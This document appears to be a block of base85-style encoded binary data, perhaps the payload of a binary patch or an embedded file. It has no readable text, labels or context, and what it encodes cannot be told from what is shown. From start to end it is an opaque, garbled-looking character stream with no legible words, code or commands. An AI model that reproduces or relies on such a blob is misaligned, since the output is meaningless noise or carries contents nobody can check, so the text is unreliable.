zHJBKA?GMj8Yb&;iP_ukWroMWbhzNOTByLROWpNQj?1Ofo>1xwdG-*8cL$ua%u{n=X z>N?VeHvr$-_a|%$5pDTt_FlNis(>4J<|XJf01Z5T zvS{)u9o|%Fs&stPOg8=SdN1P9m8IfOFu3Q%$(AnM^h(aY(fRFpU-TidrVCtSf zc7>lgY%TBKit@qnrylL_!~dXL#&WFBg_7xclT;2OjINBKA&b7d9wib-SUWC1ag&)r z%=g)|<8yao01k&h7?4}w7W$vk(A*o}SQkIO&l+oBU@$-T?6Rsl={dq&2+t7bt6X0{ zaPYY+!0;JRuL}XGKFH{5U7Brih8rZSiBoAYoukzqe9k72oAchMNB3h68HRV!M`&gD z*#>XPuV$Em7G)h6)%{@J*)Zm(D=zb)^6VXmhFB{^jnW-T)&#G!C!&NynIql03BJ1( zb@|OA*BKI|fOlC#+$|zKa>|>fXA{1Ey86e{!f5S0Q`_6B7w?FbD(r3|OGm6ab9G+4 zSloJlAfMUTcH%i zNFQWgIGpmUT5vmYmUaf_u7|uAu&RkOD}$k;C@E9piQc z-FUtteHVT)$EN@a9Sn$TNgy9~*&LooJg%wM6g_1p3#kMu887IZ1t}CLM?Y+(OE%%T z3Sr$tlC@)DPU9`H$@rj$i56a$Ar;l&@HowI;~V}0bgD?pD8rx+$Z^>!Pp!r8E8@_{ zrt?bRJcZv4u~-();Xf&aUSQyEb#I16&Cbj83{>)oCb(?FQ(GtI-k!uW`6IXdjbBs~h|W;mMVe`R;K~C8R*g460;oB*3zFp1YXZ zD(vC3IAKt((&BUcVY{p}4qKhNkmrI2HN{^{{@Gm`dw^hQV;sRhaN?(DgVl^YBEXCr z49bfXA&A{emvj?k)#bXQj#3w?h*?g5CrJqdZshvU$8=CE23!BX&tbjOK0 z4JF?!7pv6Q)5lSBFpt4Gk${u$(sX1yno|m zra4`y8Okib!3<-lG?mI)HNe*>o%T069xCsP4k1hBbacNwzb2%l63T&=pW@ZKC?&>#qi6}ViUDCPtepPg0V9>RROit$P zZ>3DubYbp(;d9oX_}yf{9<_n+?MT>U%1_Y_)4l#&?b>ccLKa&p+dV~Z>bAR-bv@@N zCHL%R9_u*R!Z2Cs(*NaR#7t&T%{H+S2Sr4ilcQQPku_&0U*P(ZTyapvpqad{Mu6`% z$+~`Zo<7B?+n)w<5fUd%D#07_2@wWcbl?xSSGZdXl*wh_q4VT71onv#QGsn|5I|o7-8OZ#PLX68x=le^4;q zO1^tjCziusMEyq-*Zwx?d>0A*G%N}^m7>LHiP~|rkdJ6e)HrxyuDo#NQX=)#@{PEh zD)aDz#Q?rZdFjTpwbs381|FD>pOuGf)C1ao=HoT-lM!!sQRD)*8R0%3EAy6^qed~j zKy`sLfYQx)ChX4FPE3ut;Y`5It^B=%k=8aT2Io?)jkcA93)d#lc}KHimdjGna6UHN zf33U0EWiXMkUuZy;|9hDgw#FOsiFOgP2{{IbDNwL@#hBx(9>*Ug~-8m_x!wTBO{o` z$8rE?dDYyFV#eRhSyQCJsl`XrR2>4pVt7dCiOU=1XrQSG&ip!Hw zL^Lnf5fRk{oO(j_=QlqG& zVC!_uQ2nd>z~Q^GLa4neA1_WjpzWsT#HXjYC-XuxN?%D!UTnU3F+q(6ZI1s_x8pzAo447QpYo3#(jyX9RgW|#VB2%e@uQ7dp zv_t8SU*rxd405m+sK+P$NGbfH@xA9wwMR|j&O}_=VB>pAor+o^6F@BpM)rDASroY& z?1@2gUpLH|T@;DbwPiaZ8bE>yMz-hbvbh}P&Wuv3-Yt?(lsZcHeDTpp_;zsf@K#xO z8+4Te_ZWkTE^)d#aVg+LOxx&1Xm{SJWf{Pmm7t4Vd+BI;QhdGuL84Cma^@*34ECsj4WeWKD@%I9hhe2S>5^J{Ir zy@bFCx|-FT&14&mkv=}x^>tgMarFYJRi0Co-w2tA2vIlhl%*ocVnv-hXvPOS8+eCm z)00V%NdqfaeETvaHdQ<9#XGwFDypfZr1J`Uiy8LP`IpC$O@00>M;{T$tJ8CHnVvwC zx|rmRg@|DeaX-_@*_xE&)8VynwZsR8KxC|1I-oR7)LYv{Ke8u(Wn%cb>YM1&0X}Q?K$IiQ28hSlNWIP4xIrZXjGAMMWsf9i)5J@hoc%61M`!;7v}K7p zsQppy7_d679?z=RVztPu-e^`uXG{yexEVI#=1fPNOhig4B<>gs7Ha8pxm6~M_k|TP zO%G-?IC7EaJ_HC>um%-y2Ou|sxzlMIS*zm4_Z3hm3(F`Cy~&k&z+VtzQ$b5N?J~nO z7i3S_<>{Y4wH4cg%-r$1N3nHQPW9!#+FnU^gh5V(8T+CY#^iV5(Tw0eqHg?kMxo#R46aP3m4*k%w~uu?;H*!RV&s3k zrZp6!K22@%U8O5fdj)kbEa^xt^er{ZkcAMijh_?SKF zyPi)ydw7g99!yJ(=a8_!s3^6!6p{U0p$LE}+_2GP0uhrx@jj-5I$a*4E=fc0J*(wTjR?(1=qa3}2FoWyiZ+>Rff^~b`em{?lkb8{N}!>TpxVOK ziQZCOd-dgaoS?ptSYa72JY;+;#@e#%(Usls zM)!Rch#Bckjl^Kda3Q7bb8+%CKAaa}LrH;O@54W)4M9208KsK!)Pu#eiN>4DmIiTY z6LU+my;H?M+gOH3=4!S_2KqyK>_^O5WU|ie#+Rgvoaodb#XWd_AKx+q?px#Y_XsWl z&$?>3*fYG}T%KduBW>P=C6*;dMb!qu1BRzJ{bmLQt|!7cyrgrZ8tAf|roULD(_Cex z2ZVplZ$Ebh_Qn>|bXVlf)MfHFH&>*Sk&D#P^5mHO1omajlcs!CrfW2v?Ry(aiPz3p z(+K(SwJ&86CS5ELv= z13LOxtZ+bkyjemHC#vs`G3w_x=e4})$-?~etHq>y$^ z@)*=q>jqbQa2q!Y=obp^K)hxwd?nNf z>eeIEoVFB`-P${XK$31{YTfB@ve=oT@p*}brg~o;v0k$cO)wx!#6`xy?h<*mJNuUL zDI8{4X)|92WU{05ZI3*HIr+A1%sR<@` zO6X_}^f)VE%RN7MgSYGYYCN`A0(-vRtSPveDbGe;viuJW(!U&M_+otV+WPkddO!7F z7>Mk(u<3ZPWP=cUPRHDmYB9WarI|B$Jnt}}-Ho#5(rR{F#VV97kuWSOap6g;;}A$> zyl*PTD!G&4_*i~M%*yJcw#qVAbVWu<%>tj}&Q#$>1dofbRa`n9OgoPNoZjER@^D56 z#_$YP+}LX>|7kSxQV2_($W{Ne|EtwaC09vttiHC0ZQU3=SYv(NFtAo4QI0zMLtMM- zPG?xaK}MFU4T4=>PF4jzIOR*$y*lz4oMz>B#P#`b689BHi5=mNcy~zc{jmYLEyvUO zQk=%99d#&HDc&1%sRU7F#o=(Dc^XUFgq1{uu#*-riD7!4&30&zi5TeM80TYSYga+2 zlICHn-L7sw)KG7GS<~tyrhi#Fp|InK#%-(@Cbr9BuTJLjpD}8-rQs03&lji37g(;I zK0&=%k-o`a{Rkr$ZCyv6Bp%s)&n@V4h`2X)eKK_x#~R$6@ez0x5k^x^!8}YZ$aS&R zscm*6I?ur^S44?VrSFYWpJy$Pc>8P%r#1BspSOkw(5xu_&B;za@3`VAhU4i=f`fq0 zdia4ryX~h*gr#T@_U%B?;5y#ZpQ!K-Sf~?pW#C{#3Zo#?>}ex|xtjPg1&HW=ZeCmI z%98mOl?z$pqlInFi=hr7L7N?bVhgpmSo8aOCfCx%CeRk4zs~vkJmo1}YjQsK93#eh zwgnc?zIoi>X`vo1iAtM>z3VU$4iIZ!J$M4OySWC@S(JEhXRF}DtvBmHZs zk3FpRZG+O9F%zZV+v1?f<~(xa8)hv9HK{Vf6M7L6_}rEEy;(c*Xf!I_vdc zUp6D*)BEPGJ~tszqIm-;bRI(Ni(@Q_DGLpjnCFtWxOk*I#-fx2(Ydz$H8iY165EOV z*ckGSuEl0@Zw_tkn%Sue$;#x&!={6NvLZspI2@s1;n%^aS(oH?9%5=X=#lkom5d*e z(Ox135N{9Rb57=!8XKfh$4NhPK@OQ2-L<6T+bq*_in7)jZ#35-F>{<)N<=hc$8ouG z4P1;dvSn%BFBpf7nvzZ2)4mVR6Y1})mNPuyxa|JcYnbM~Gg1_t!Ns|M)C>Lf0L#sm ze?YwdshbPEAMECWz1PURq@pk2Iw_ac>M4l+YVpN2##_w0rqHfJDZ0t;a%Rv|C3XFt zNb3(63C-Ply&axx^rDcT08h@ge!nOZWWAmHxYeCC{|h*CnT&R9V4N1TvNu@TU2OZU zU?XhFNmO}qDb(}KTcQ?UW0BxPUTz0Ke1oEzXU>DN~Z5Q2d|$^>;jm;eoXnVCCkxduF@t(Q#i3 zkSOk9a~+UgCVybSO+|}WSw^i(rP0S}mb#joIu^1?dfa9p*HJ_(_Z63xk)M@bno4(_ zxW0H-ki~RA@^A=IG-*Uj@NMhSzh3^|7yk5)>&SYhA}fYVEsvM{U2I!^cfA5RLgci4 zTlc2%G_r#@{DBT|4rF64`e|{)^LeVK6a6EVQcVD6Ikm$!(ozf;=e+rBBB#P^F3nb~ zmuKQ@_mDAa;m`S8gPqW%5nhXEi}b%&`|`@~48&C6@2@G>Ar0dX^*fubW6FO6@ohlY zfq;`ne3c33r*&(geg=zqo-oCugp~MG|4|^Ca?oT!3(a3&FUgoADQ4R}#I?5@BpKu_%Cd@IH0)*GfKCH!J5nhoU_2+Jrb2>Pp}nw*zEPgUIuI6X=r-->*vxs+I&rKa!BEQ==vazyoU_0CMzu;GY$!v}j<=zcrRpWwpIWqB zRshyi%<3KYOmN96jME#`b^gLZopmkX(&4M7*UEK%E}}as0Fzs6|FyHF*~H+alX#F; z1|R5B`=CG~<8<_>q%UxApcZq~>=qQmc_YiSn$tr6l#$WxbfcEsW--ysg8?+ z`5)evMIlw(I6zmwmA^5Vj)}2cX+hv-(1ym8!RpOVzn&5iotV@2SPOJ=o#p3|nMfTK zN++WkrkyQ%?$Q=*+Ui=HqiY1B$$p9NCjzw9X9I9*I_%nS^DrH^JYO>L_Ih@&Mr$hx z_@ZGUL=Uef{Ea|CT2hOxQLD1AI=t3K>>{ET3TXs`!OBGiNteF@b~2LcmZ$`e&{`38 z3&hGmj{%K`mG^a?6QN1Sm*7bZoA)l|!q0Fz1?OU8>C2z?Xd5~ghpiu|vSqJBK z)p27J8ZJH>%n1$WUbsO2Zq)h4JX!5im>NptcdI0Vl_`l~vrOU=w}`L475b5@On>_( zg|G2z$=5~8E5F(0o7J|W=5)?-CL7d_QvOL*%;$GrhV7evLHg0OXNP)5<5m5X?#{3# z=I6|-b9Pg@`TrTnJTm4xZ%LwbI? z?Jq7sUy=A5Las!)C%5=Jco!H~Jj$wD%QS+M2KZb3v^(UAe8=M@=oouxm-VAX(xITG zf!}z^eqh?Ewx+IW@$;vrrX48`&UW+7ymHev3li%alUCZsQsSO=zTdV-=Sz$*APIV7 z6QApNQjqM6H@5bo8E5o>PUM?0TbKv^&~cw&S>iU+e>Uyk zrmhBZl$7LVrtq{f%QtCDlj3&RIVSacW-6lkF{s_lhMS;i|E83_u{}oWuUt{-7D!7Y%OfBXq;a>Iz$%Z_h zT~q9i?P{&*I(RA^mbFwd?TVd{HA3p4#q+8QTWGH!XNsCJWfvYM(u8E{L%oRBv^ZDB z581#U>iI*}aa!r%i3*pW5#mRfjd@i$8Zfvz+V>iEXnO}DDk+(uCfxz8*qaXs2Fn+2 z2p>yYB;F(4nKz_wwLNN*DM*l(u0t=3!|5-oPiD9rMFjIHI=`ksRTk7t_F8gTv+)(w z&dR+?@|dLbr`7)ovF%}`Nd5~9&K1BB`Cpw|Qv(!54v;k0DvyUrcc&I`$%Qp?whge1 zC2!=$T(K0|ua>pg+SjNviW575kVBKu3Vit#RKac12VktW~{e4 z9bgRb98V8d?l^>$<13DWqXg0H;NY^F=B4B>TEv{)0Yq#!2P}=FV%hHyEH@l8kXVys zzK1nN{5@YuVGfgxyIlVmVWN>W`w#<<1os{qx1qAn?|lru7D{dIZ&{To)l)!>MDNOE zc>vh6fSBVd&Tw8bvMrgLSH@=&+1cM&wd3Uf#CVN@aw4$Pxl2kT_y4F49R*64+MS7n zVYn6)Cnypu50Rc!zQjHk!&RF$kv=OLtN+o!5iJ1)yvL;-L%GphuC^T=AS=Z6bNQ$58C z&HYXbh~4~b@4alrvYAdW*}JWw3jcTcvimD6c&)A1nOtLWUHMJkUoM&{m-Z(`){#m? zuHf{vN2u-c#%f0^=~+Dh12jX+uu21cq?{m`+GJ&eB0;Sn4gUJfQ zwG*a+`gaBT&g;|u*Ex!6qQA(nUj1zmWmYWSK*Cp=q zb%d0l7oLjr@f#8G)1}|X1R2N2$I{by0I^+Bt$ShY`Y-zf{~rHBu3HEZRzJRT6uP3- zW`f;KlYFf_{r&NLg@~%IX)QONNQ&+K$qoEVuVNf>&#oc&xRJ%uuPA)OGH9o_6k#r~ z8^yu~QOQ^Ata|uvOHxS}D8OTfkbrozq6x2dWOpAz_e{0RM&jrk`2 zKlXCrH?Gy0@<~wSfYBlhD<@{MxA>)>TUXK2*i5>yKB9oMo2K6#>Sp1}Qe7A){iY4d z^q8SORZ~DUJ4P!Ry6x-HvB5-^SW;!jVQdGi0k+~p9Qf{+8uWAjT>N&=$cN<2QWjC+ zNEs@^&aTiIc2Hvm^^Ve;Z#Jt-0@6$r>CHQ!kEg;dp)6qF_y^Gg3#C{K8!q%{%ob& zPe`p1_GqV0t*p_{R$KDj9)xr0@}!3HyjI`qqJHcsE+OkaS*${;r{%nf6^!DN`HHl72eg{MeyQ7kL6|pT9$E8NcZ8hS&EZR(%M@KO3*}=Y6uLxB4*3gNw+eg;5cDa^3!Y>K zY(X5F0!70yuY4o|)Ec-r-x=rvff}4Obpm*Zfm5^jSC*=swdV0J{1SZ8(MA65=x2*r zW39XV(#>#UsqOnaz!@Ao)$}Gd9!}IlMW)a+7lqoh_cvyWA|Qw%_^(G=D2hKv*5ll{ z8rpN${p@8m_F!ps!3KLeg8tSgKdUs=pzr#<6)od)bR@Vfj>RU5`LaIueb zUq8@&aJ9-P2eXnjeIk2RIdyTFhiXWcTQ0S#7&Rv_d3de5odj7%L!JX0< zsbEgFQD-xkikuuo1P8wD{{oBu9#mg`@%U{ubo(P*Y7rdmtRQ`VM>R$O4@)`Z!XiRq zE9%M{)x&)(%$1~Y*I|7>6@vxnFYOq!ggtRF{pea#Jq^%Zf|7M;q^6|CMK@O+d+Luq z_Oc4dI8j-i6Ewzc?MY`0F~=#eh;DU^sU;gv=rBSaTBKhdm&7|f$KK#RXQ6?FyyQxG zruj{9)6ozPnV?K|F8reLqWr4mGMPS0EdU#8;Pk>>mP|AqdPgH98;03jEsx5S&fg4{pRIyTmF#RH_j*nvujb&IrGgx`IjmKjde+vR7O0n z7y#EPWY3foHGXJQ{AH_H@T=wOiipPh`ebY%MixbP(#@}8K@DNGAD8$Vzcm%M09>}s zyImqJ?Xf6vZegJYk0Wg=KuZW^fWcPw>6fb|7jB%zpN%H^!nloT-#SYZNt9gH#~Xk$ zk9|?w(rvjx1P57v{ts_&`PJ4Mb&s~ELV*Ge6ey)Y3GPLLOIw0lad&rjYoS1b7AJUd zch}+`iUv<{cMW>ebKdvBc*;ztsdG4}^* z4BeW6w@&%~g)II(n87vZ_#r>F+|hm6Hh3zNv0btKY1ln@Pm9r-hLk6kis zUV#tM&i_`2q7ccI31ChTMiig_wUyVH1KGx_g;KH1&e#6SGd*!xOCC_;E_j-E{gE2I z@}VxyqB|{jJ^fqYxy|p=!W4#$!H#)8?#C?rQ?Y#+0=_KDZ)fUsMJ42}3ajg#3$5@g zvA3pw=DF%kj(u^x6JBhZcIWEWn{8Y5@woSW5|I>PA1myu#qGkL-zT0f;&g3P)u!^L zqwEucsP?rf_JyR$!8w0@vA)Rf#oixeq>hJsP^M+ict)rx^hI5*s8(I!q5g#Cmptl) zMxW!Y^Rt!0e{$1tnn0&Ngx+6w3?vbG9hoVi`>QaOU+Xq=6>ich_M*Z4H6@LNN)!E% zUkA2#C2{P1@?hdf9AmhgH}?g>CQ{goa-m8x>KRS+l+8q5WiHSTuh~AbM8?Mb&-x=6JdaPQh~oaGKD zqn^v&T$EMrr_Hk@6 zmeDAh2XtSV=(XMtJXfc{nihj$Z zqg%r^-5VDNxKQ=FiA$|`b&0m@m8l+vIsg#Mdp&*Ro{&Rvzh6HDF?;;W|LOmManKYvyS+H@TYDEcR_0<4bDw)nxbgqbBUV3ABm*}4w#iQbmc3u^v`G3NNg5m5J zQR?FNii^4Lfm5h>UxBiczXV(r;{P{9NRCKW#wcPeblmq=yPOqt{=UQd_cQ+Q=cDKU z&#>hm61thG-I+!OXLr=ZP|WNzu0v$8rCjljuseO;5!UupqjBblGqPA0Em8XO@U@}o z|6r!0!j>zPMCHjlAPrM^n1H7A&_NW$Jp< zA~bxyvg3NQA~&UN3#KlfxETS|5~f1l9N%L5mo5TK3u5BPv?4sJn>{b1QbtWh^gds7 zuqjwegdpzRD9f9ycYo&G@6(0bY?hsmglRbQUly7$G`N$4EFk5L(ZY5EW3qZ6=wK`9 zQ&hiGS9z})46P6>KU9wg2ypKs9)h_2;AkBxrbvV7Wrw8eaiioSDIV!mV{Um`cM`Gh z@>WwC+Rc-Yj^Skg>iR0PVZ`6A&AMYrb+FbIi5Ym;gPD~?6S7+LFm$&yXgSJJ|I0u` zOn!3zh(qq_qZj|@Vy=L6j*YOFZeesZ+GePM&gl?~g>7iTk(5w#_<>AHB9izwFoxe_ zhN-C9gyyO3by|v!EExZih%B{KV~U0)Mxgn{coBVeZCLfz>;c`RM8@qZTW$u&-uML6 z3=qwCzI9!Ct(7;wS;Uwu1`d!&@naK6({Z4=Xu~mW(^nNAv*^wtvE90k7QIpGxu+zP z7=A~0zk?9Mqy-v9M(D$YO1_=UrH`O3ldLayK(|8b$9+s}<|;mQN)mV>XN+tm&&Ed& zuXS~_@jdyLJtNH&QTu4IAOsTx_wl3?EN+s)JR0__^H=;|SmqaJf0JH_-nThyk&s@} zAs<#qH;{uw7Hc_1qZZ52wyq~Cl%$oQ)tV5}d%sAeT#IvvvbQ_s*Cy{ea2SRB&MY&Z^ zs1HY#sFQ|f`-k%|GH3~)U=zP18um@3kn4(_XMEoXEu5lCmDwmyTHh+2!r4@RxT_u; zSb0<-?V-U3`-Mgb{uvYf%pprnG!}@heQ>$^$>z!2v-$2lJyh5IYpStr>+O}xzB=0j z&kvLxAJ--;JgF?Nnked02RFco!!>O-^0Ah}-S|LD)suLS)I(wdsMy}Ohqo3=pYd|z z+%v)56lWmA01f6Oie+q-Pu{e&_?02P)B4?O>E^skJj2%Einit}Rg zmfG7iHbjuf3N^KA%-{S(kO5ea+ZwoU6t&k{%6c!mH|}uty^YL=Fg(ST#NEAY){$CX zdvbv37;F3C|D8pxLF&l8T+_kbLQ6qOAWG zt0^ScHAEq0s<(IeS>b1CDl=9Jaj@*~?|1j84H+@x-jXN$ZNj;tq7s;vO7iw|6|7tn zUkp75sjkjEUF{^tqcUvUe^LTtt}c@VKwHzJBKDD7KW4oDq&l(?M5b3^Z6o_XvA$6* zC%>|^wFnU7;lMxqanFWhv1UzWMC-cO^Tgk#NlA$uCXpY__R@00js;jY)aGb$Q*<|m zS3=QIi>e{f-7B}fbFHwCnXXD`)p&2GM3XVw=mbCkL;gVY)~J#_Y;0CT#l5aBWt6H9hwSTyG%weKo%w>cI4VfwN6r19GPTf03* ziKwd*rY8Y2cfTGBp*4o+Nu5K}{-zIkU+HqaQK_(=^zToKyoW1sSXbMT&sFXigjcN$ zdV6@A!FA2sPCnzXo8t#*OrF-dH^1JC_1TLx%~vYoKfpcmF&f`Q_n2EcP&y(;%dGnp zY>&Dt!7etNOFP1UYhd(ao*yZIb9GjW%5cR0)cFY)%og&k4h`XEeFTc=kRwBH|5db1 zdHwXTU4cNQQKvbvlkMB~R-=nYo0IKJx<{)l*`t3h{e3|nyf@X^?i`v6jDHm^-cqRH zxSQv+x80rt+I!zn{K)BNXt=bFZLTd@wqP*?ZwzNM(fTTSRpH3se+zN8YWC<^lfT$; zM*1GX+lHmdb(W`4QI+Sm^PPxbN7J)f&as_71-wT^^GgtG@avVWo48ZotV>cn<=RWi zzad2rTE@GMBh|v4Y!|G&p}fv`4yvyTZG{ByT2iZ=oTXbm zOWLkSrx(w!5j;y8uJ4z>eWUMlQ+~M4^EViF}4h z^4$32W;un@3KdyRt-cpC`*;eYm5aY|zbSEm$+d3J+XNcTj223y5%G(KS>QjIm0ReS z8KC|v?0z+W{9o|)g;iNkEjZ!r3?HB5z~IQ@Se(Crg2mqUdzy&s>{M7h1Bn)}s(7); zn8o^M&SA#p_cReeZlefabXpXeYDcHf+i5f!O|?RR=n5Nm?a#deZE= zuZH|Y>}=Y%RD7JwK`_c$sN8j7EAZT#4|=}M?k@kX)u-7*Ga@T%8pm=L*x%PDX4Nkp z(d2#FJzFr$vD%Z=S*(}O?P`T;n#10iylU9p{LDsef!2tnlDb=MF^!>f1%JAbcL7?p zIA4zT`Uy4(RE8@R6aT!$pIYQ3?mC4+ByH52O^YMtZgr@WbD9xR=`CrQtPDl2BY9-I zb5KcA-+QMj^OSFCyB?S@^(b-y52j`nM_8@?#C>bZ^Zt{ARKXUW^s8*SD*b~ghW`G+ zYP&w%2vQGilIoT6bW9ay?0!wfFs{ z)nvWGP!o4@|8HY~a!k27gcE)P$H`#jkq>a*D=qmMV}B~K?}@CAFd(|W+ELP30RXEi z&uAf6Z($AYr_D5#M3{jVa(BL06k|jor5NX*4>osWWw?=9^I@jGZo`rXFYs5ae-(aa z3}_TyhmSE?ddbXV{$0T6J5cz)06NoWr{pDwxMV-g1c+g;Zmp_gRQEGBzqe_oM zUn8f4Z;+=M@~6VPJ6i9;R$%jH`uqS@MzY>Fj;us78poqS#`+$LSGg--Mq12wT>B~H zZrc(F1R3&S>XkQIGI(_c#aK$c-EW)htTYLoyGvxr81GV6@|n>-%saTV>Ck@YCJq)IqXWRG*?I$OQuQ$K>SRyk{} zR-TQX%m5O+kWr8A-=u78^NCi5vSE#G$&DLBZM9gD>0B#4rOgDN^|qFO3Uc_*RiX>i z)1=&|VUgT043S-L+Oi6hkr3Z|FEXi4_;G$Yu@CjdcFop2A_SrIT6M3XahAv5%lnvz z_@sd*QDaBoEX^IG>9xI+g@~#AP1ex6+UvAc_3=TuwQ3f}_?G`+E_@;X-#Kqum=q-N zoNt_=Uua3A=j3A4Wx#f;P0VeWk&#S`kFlo(augF#Wpj>nKV`!6cfYwo=sJIIysUnHkJcvk)~L~w|Avo4+OXl#JYT}LZC>{a^t=5ylqht=}>v;V( zq#L&)n_DT5RqqzLFd5Q+a|Nb}5zEJZSa#U*ZtuOt!GT7zk-ka7EMvvQ(QNh(DD8vw z+yFwjJ(+?u)_P}4V?ySWA^wBbMPWVARPWwz`nCD`fjOJSK`)IJgc?N0oO~Y8o_a=- z7!|anhHgDOmlY{`SC}E+EMzsX#KE-7UuR?8RKJ>0YIS*W_jzZ2zAlxw>|qIyo7S<) zmc!Vs{;kr=&UXUu(M8Vd8XU{*_oXVfnl7&I1mrZiK{J{kHpTUXec0vn@=X!6Wgstw z8z7_8@E|0>P%#_;Ah4>nF>YwEQ!UCeyzygMFlp0Wdei=}mdK-;5ZBW*R>R{x6$3!f zX3TnDM0PMy=lBwMtG#k&a)u5`f%kaq#;mEV7-}5z{WK~!mC|MM6KUnGrX1$-Cl15) zs@MV<+qz8#L!;VKMj!)=)?U1jbC{zPNsu#J@})hL3iobh^74#$q;g);KGLj*dmCoy`{nfmbIf2Vb|9;n=a`(O7*r#YZu}7 zJcJK-#!>C7TOa3&MVvR%@J($k4;Gb=Qv#V6zRF@z)e?W ze>qoo_=HJWH$jIig!@k03p1zn?lMQpUvJ_SdmlN4e|1*7_MINtZdqu9R@Lu>e#ABW z3bS2bi2&-RcY86fATZ;}WBG@r&2u!s(Re&rPTM;SVt%N9by4CAOYLvlFY#|X)Gi!i z!`b1@i6-0z`e!tsg^=T<|_;;yiX1HbuR2j{}Ae}Ec}k53&uwW)#vjYvt+g) zV)fy)O15SjCMLRQ3A?6$5C2C;AO8bcKB5|Eg_LECn9O<9vx|8*oy@en>frFHzQr*` zxXbZ2j9*4+Km_ec)rQ2!WDOL){xfx*H4~8`d&d-w2?m?V)io8#lt#9>3N#zMk@LG6 zF&V*5=bpxucLL%lUI(pH=o%PVD~KHC$(b5`YtShg!`FnaJsTq}la`-ys44>8?q}>p zku~GHvhfS^^Skunh#r@CCZEN<6hh7M_;02(p5y7a`mwQc&@QjEQCTT3<9cF3HS^34 zK#L`0sR24?0}?B)rE}94byc;;j`2IdEF}np^im-;QpEOVufbAr?C#ldD)Wj)#w?V;!nD@fk2!LUM2fsJh6kArS<4=#(bd-pjlBsGTP|LEAGnk zQ05;kw8K3RsC%+rv6nT`=*ZJQpGD^mOUZ9d z;&@4jqafdSt}|3qKV7YMiy9Wdup2b(bTGk?`Hct)I?s zH!?KqSCuxQEH*;(I3$a9FVF;JoNaaYVPF5LvDZ`pSXR`nR|S&iiJ;C-eTGK6gCk8W zqaV^eV|4yiA+-`+AD!iQ0}2H;io@iS1<^~R+T^8g-|W(z+^x&PqeejhOyDO2@PY|5 zR$%n336~>~781mvyaU7GH&%=T6Wnixgw{FKhUl~dJrVf}IOR)*173Mq--V}{L~X`X=5cz_ug zPL^D0R@1TA(n6Fc*Hmq&0)48+lj~q)+Y)J-@rPKsY(%2$!JbN0)CIg3Q`G*P zY%|+1+-Jk8%?Ufx1n%ax~ z%V_~ifU|I8!N#l@#>s4dAH$Q5uGE59(f~4sev)|OO)^rjj|t@ zU^Ac*K1>D8?6X+`Qw>Bsl!pK~%{e9al8b zDy#sAEEufRm^FBK+NhY%Ll8Y#*frUiA3W9=kIBd?)&d) zAjkqdH1iGESFMk-Z%tNS+S6>}U8D*ZdqfZXsjf#r#6v4J8^uSbO#X1ibnh#>J~3%x zwvqg_v9&dBGjHvURBUWs!jwyOET^q_a#7}J0w(Yq06+}I7PXXp1$_!&hqI)k!CZU> z1J!0Z;)lCps&ndNoB6gpbaM(i7CBM$p8k*wrRIj0sfE|1O0LbenEK8uVGQk#T-jY< zr@yXu-JV2txq?lG!y3qAP3;U=Dy!nzfd^xk`}+A)wMxiarwxSn1hl_IDzYKHfMkV6 zeTK0c?B%SdlNH0`Qm}1UDi4vHrXO+STX`-FI>*=5^2thuNXEa3Euds8P8Mo^SZkkiBr~3dw83SBVce)X=MwzsOf$gMTw6&T+&u|UVnHX z$jO!u5o&IqY5fTTM9Y;%QZ--GOWRIH+P2?2lq3^4j*RHeI{0JyTSzZY{aEYS;=#d zo>TzsvT9_<@ds=NbU&Gq(QJ(S9+G2Woz&8xt3LD$iA4wdMvpuqUtncipOZeno^&DH z%%@#ya=827U`K{K?eL8>2OFZt#ei_S}q(JJbI%k4|UR z-Df7C9+IFYoR>Q~*guV(9(lnb2QG?Qo6@Cp&aO~{ z*8~l=liSRI<00kgB1R}O+aAm&gbaxXqduX>fDsG<2F7avXsd7 z+F41qu6rJVP?OC&qe>a2a{>a5hoMt_&v|xtrw^+sb|M>Gc_b8z#k$^ORI(c)>u6?) z^j1E5M(5jaUL0EJdv|UU_r8rteS^@s-WWOF#UEa$QL2r{8>N&7cbD8Xwg1iy3fWt> zFLKZ|oBX-oS7s(WKnLi^Q$#Lv?g;Y!X2i4LVaOx{L{mDU#`Z&sD#!oshev~f==}gI z@DnlA<%vnQ+(&H8BCtfNzAZg6e;$ z+SZ-QZQT9(n($3n)8d~08)WRadJx-AEO+Ro*08dM+xVxO2^XY~e?8!s>DnLV1SvOz zm=-6xBVatZKD8$23EHSSmR^>$f@>prm35-8g&#YvKL8QEy20+44$PY@ezDxkm$N!JW4vaBi#X$rwz+Xg=ShH0jU#DdT2=B)h2_AuN@rI&uBBZ`#&z9ZO4RdO2d4tf`EQU0 zTGX%5QRF<#jMbU9d{U#ypP2G=5|8br;CQKb^&EF{0X7|8@3iiC;V}92k*)KR^Of1y zA0m0&$FA7YF*S$t3dH1aR(WIO3Lf#v<qFEl*s{u^Rhs#gHmgbR*&xWA%ejysFjJxi;^s|KKDzX^22 zsxr>;z7<5zr~w$9Y|*y&kM>mLLcnZ}mX9JYKyifICXNR%7QJ{Y+o2rwu`BNdvK|Nk zIF6@C0%t=LSaV$=05--m-p(Fq;*?l+&v+X{>)q#7QWf&g<#q? z#sLHOkBX5_H@Ob9l*?+go1Vb@l?A*Ompr!<q9TvIRwoYsJI2xmMEp)Aul_Fj8ajj31-AVPw zsjuP%V7~yaZ?owiHV9|>$$1+~ububX=nf=mdTwu`ba_0VKlf@>vYT8i@QCk5{n{>n zgV-c&MP^~?gEr%F*UKTKq4gjnc^V~+x-fn3MI!U<%$!FYOG0IeA|iu z%)*@*bzi5^2ac)-e!%L^u#5a(xS{(~Gfnue6NfZhjIi+{jUnY-YrsE3?|SBH8j|{{ zRkuI=+!-nsKhtIVV7$~7;%0TQpEUR2Q5sy^nmf29uw044&tKh4z|u)fQHJp|J?y-S zW?1ho&-N<0JSo?lkTV>Vi+G_h%&bafBENVGpS&~Tus$KLHrGoesx$Z1=s=3KMZ&Rw z99FeG=);Z=HD5qZ>SKk0mf{_!u2nQ+ZqHRcC>3S%45u}n%amto>A|yZb7sD8nV7=H z>In5$KKI7`X4CgOCS?*Z#|Zik0Pw7t!kAz$ZiyLM0-o4zf-Hu}}yk*7lJ$DCL<9J!jB3I#LU9J9Zw? z(0&%N-RJj^Ku14QBRpLBewt8=_glK0?S;5AJ|K7T4}sc=jP!|p$9+=gj*O*&NZkr! zyY4LUKCdlmu|;s_9`pKyvD(G)4!$Qw0n8#u8IE;V&V!Y-&TN)fE2dAnzu0wvQK(MD z?{5&@U~}ZCi3VlN6AW#Z`wvE0Lm|BRI<;b+u&KB*Dq3SZEcwQ@)z85`Wv-^e+^Hu6 